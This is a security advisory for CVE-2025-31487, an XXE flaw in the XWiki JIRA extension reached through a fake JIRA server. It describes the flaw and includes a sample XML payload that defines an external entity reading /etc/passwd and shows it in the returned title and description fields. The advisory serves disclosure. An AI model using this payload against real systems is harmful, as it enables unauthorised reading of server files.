CVE-2025-31487: The XWiki JIRA extension allows data leak through an XXE attack by using a fake JIRA server

If the JIRA macro is installed, any logged in XWiki user could edit his/her user profile wiki page and use that JIRA macro, specifying a fake JIRA URL that returns an XML specifying a DOCTYPE pointing to a local file on the XWiki server host and displaying that file’s content in one of the returned JIRA fields (such as the summary or description for example).

For example:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<rss version="0.92">
...
<item>
<title>&xxe;</title>
<link>https://jira.xwiki.org/browse/XE-307</link>
<project id="10222" key="XE">{RETIRED} XWiki Enterprise</project>
<description>&xxe;</description>
<environment/>
...